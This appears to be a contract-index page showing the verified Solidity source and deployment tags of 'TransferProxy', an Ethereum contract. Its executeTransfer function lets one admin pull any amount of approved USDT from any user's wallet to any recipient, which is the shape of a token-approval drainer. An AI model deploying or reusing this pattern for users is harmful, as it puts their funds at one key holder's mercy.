TransferProxy

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// A standard interface to interact with any ERC20 token like USDT
interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract TransferProxy {
    address public admin;
    IERC20 public usdtContract;

    // This event is emitted every time a transfer is successfully executed
    event TransferExecuted(address indexed user, address indexed recipient, uint256 amount);

    // The constructor runs once when you deploy the contract
    // It sets you as the admin and sets the correct USDT address for the chain
    constructor(address _usdtContractAddress) {
        admin = msg.sender; // The wallet deploying is the admin
        usdtContract = IERC20(_usdtContractAddress);
    }

    // A security modifier to ensure only the admin can call a function
    modifier onlyAdmin() {
        require(msg.sender == admin, "TransferProxy: Caller is not the admin");
        _;
    }

    /**
     * @notice Allows the admin to transfer USDT from a user who has approved this contract.
     * @param _userAddress The user's wallet address to pull funds from.
     * @param _recipient The address to send the USDT to.
     * @param _amount The amount of USDT to transfer.
     */
    function executeTransfer(address _userAddress, address _recipient, uint256 _amount) external onlyAdmin {
        // The contract calls `transferFrom` on the USDT contract
        // This is only possible if the user has approved THIS contract address
        bool success = usdtContract.transferFrom(_userAddress, _recipient, _amount);
        require(success, "TransferProxy: USDT transfer failed");
        
        emit TransferExecuted(_userAddress, _recipient, _amount);
    }

    /**
     * @notice Allows the current admin to transfer ownership to a new admin address.
     * @param _newAdmin The address of the new admin.
     */
    function changeAdmin(address _newAdmin) external onlyAdmin {
        require(_newAdmin != address(0), "TransferProxy: New admin cannot be the zero address");
        admin = _newAdmin;
    }
}

Tags:
Factory|addr:0x2450cdb1caaf7850b389cb35a74a918cc977e64f|verified:true|block:23674936|tx:0x10c3542e24ffa466ac3ab0b750f452737ee2482204e8bf609ac3823e7b33bac2|first_check:1761652017

Submitted on: 2025-10-28 12:46:59

Comments

Log in to comment.

No comments yet.